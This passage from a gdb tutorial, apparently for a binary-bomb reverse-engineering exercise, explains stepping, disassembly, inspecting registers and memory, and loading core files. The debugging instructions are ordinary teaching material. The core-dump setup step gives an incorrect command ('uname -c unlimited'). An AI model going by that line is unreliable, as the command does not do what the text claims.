&lt;p&gt;Note: make sure the current function can really be run safely without your intervention. You don't want it to call explode_bomb. &lt;/p&gt;

&lt;p&gt;To instruct the program to execute (without your intervention) until the next breakpoint is hit, use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same warning as in the case of 'finish' applies. &lt;/p&gt;

&lt;p&gt;If program contains debugging information (i.e., it was compiled with the -g switch to gcc), you can also step a single C statement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; step
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or, if next instruction is a function call, you can use 'next' to execute the function without our intervention. This is just like nexti, except that it operates with C code as opposed to machine instructions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; next
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Disassembling code using gdb
&lt;/h2&gt;

&lt;p&gt;You can use &lt;code&gt;disassemble&lt;/code&gt; to disassemble a function or a specified address range. &lt;/p&gt;

&lt;p&gt;To disassemble function some_function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; disassemble some_function
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To disassemble the address range from 0x4005dc to 0x4005eb:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; disassemble 0x4005dc 0x4005eb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Examining registers
&lt;/h2&gt;

&lt;p&gt;To inspect the current values of registers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;(gdb) info registers
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prints out the current values of all registers.&lt;/p&gt;

&lt;p&gt;To inspect the current values of a specific register (assuming 32-bit registers):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; p &lt;span class="nv"&gt;$eax&lt;/span&gt;
&lt;span class="go"&gt;
To print the value in hex notation:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; p/x &lt;span class="nv"&gt;$eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: if you are debugging a 64-bit program, replace the EXX regirsters with RXX (e.g. use $rax instead of $eax). Using 'p $eax' to print just the lower 32 bits of the register doesn't work (at least with some versions of gdb). You have to print a full 64-bit register.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;To see the address of the next machine instruction to be exectued:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; frame
&lt;span class="go"&gt;or, equivalently, you can inspect the instruction pointer register:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; p/x &lt;span class="nv"&gt;$eip&lt;/span&gt;
&lt;span class="go"&gt;
You can also inspect the value of a variable:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; p buffer
&lt;span class="go"&gt;
or its address:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; p &amp;amp;buffer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When debugging a C/C++ program for which the source code is available, you can also inspect the call-stack (a list of all nested function calls that led to the current function being executed):\&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; where
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Examining memory
&lt;/h2&gt;

&lt;p&gt;To inspect the value of memory at location 0x400746:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; x/NFU 0x400746
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;N = number of units to display&lt;/li&gt;
&lt;li&gt;F = output format (hex=h, signed decimal=d, unsigned decimal=u, string=s, char=c)&lt;/li&gt;
&lt;li&gt;U = defines what constitutes a unit: b=1 byte, h=2 bytes, w=4 bytes, g=8 bytes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note that output format and unit definition characters are mutually distinct from each other.&lt;/p&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;To use hex notation, and print two consecutive 64-bit words, starting from the address 0x400746 and higher:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; x/2xg 0x400746
&lt;span class="go"&gt;
To print a null-terminated string at location 0x400746:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; x/s 0x400746
&lt;span class="go"&gt;
To use hex notation, and print five consecutive 32-bit words, starting from the address 0x400746:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; x/5xw 0x400746
&lt;span class="go"&gt;
To print a single 32-bit word, in decimal notation, at the address 0x400746:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; x/1dw 0x400746
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Examining core files
&lt;/h2&gt;

&lt;p&gt;If your program segfaults, it is sometimes useful to examine the core dump (for example, memory addresses may be different when running a program in gdb and when executing it separately). To do this, you first have to configure your operating system to dump core:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; -c unlimited
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a program receives a segmentation fault (SEGFAULT) signal, you will find a corefile (typically called core or core.PID, where PID is the ID of the process that crashed) in the current directory. Load it in gdb as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; core corefile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can then use all the gdb commands described above to examine the state of the stack, variables, memory, etc. when the process crashed.&lt;/p&gt;

&lt;h2&gt;
  
  
  GDB references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://www.cs.umd.edu/class/spring2015/cmsc414/downloads/gdb-refcard.pdf"&gt;Quick reference card&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="http://www.gnu.org/software/gdb/documentation/"&gt;The full manual&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>gdb</category>
      <category>binary</category>
      <category>security</category>
    </item>
  </channel>
</rss>
